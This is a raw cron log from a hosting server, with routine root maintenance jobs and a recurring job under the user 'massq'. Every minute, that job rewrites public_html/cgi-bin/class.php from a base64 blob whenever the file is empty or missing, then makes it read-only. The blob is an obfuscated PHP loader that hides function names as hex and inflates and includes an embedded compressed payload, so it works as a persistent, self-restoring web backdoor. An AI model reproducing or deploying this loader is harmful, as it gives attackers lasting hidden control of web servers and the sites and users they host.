Sep 11 09:44:01 server CROND[10216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:44:01 server CROND[10218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:44:01 server CROND[10217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:45:01 server CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:45:01 server CROND[10625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:45:01 server CROND[10626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:45:01 server CROND[10628]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:45:01 server CROND[10630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:45:01 server CROND[10629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:45:01 server CROND[10627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:46:01 server CROND[11475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:46:01 server CROND[11477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:46:01 server CROND[11478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:47:01 server CROND[11949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:47:01 server CROND[11950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:47:01 server CROND[11951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:48:01 server CROND[12343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:48:01 server CROND[12344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:48:01 server CROND[12345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:49:01 server CROND[12756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:49:01 server CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:49:01 server CROND[12758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:50:01 server CROND[13148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:50:01 server CROND[13150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:50:01 server CROND[13151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:50:01 server CROND[13158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:50:01 server CROND[13159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:50:01 server CROND[13160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:50:01 server CROND[13163]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:50:01 server CROND[13162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:50:01 server CROND[13164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:51:01 server CROND[14018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:51:01 server CROND[14017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:51:01 server CROND[14020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:52:01 server CROND[14497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:52:01 server CROND[14498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:52:01 server CROND[14499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:53:01 server CROND[14899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:53:01 server CROND[14900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:53:01 server CROND[14898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:54:01 server CROND[15280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:54:01 server CROND[15281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:54:01 server CROND[15282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:55:01 server CROND[15671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:55:01 server CROND[15670]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:55:01 server CROND[15674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:55:01 server CROND[15677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:55:01 server CROND[15676]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:55:01 server CROND[15675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:55:01 server CROND[15678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
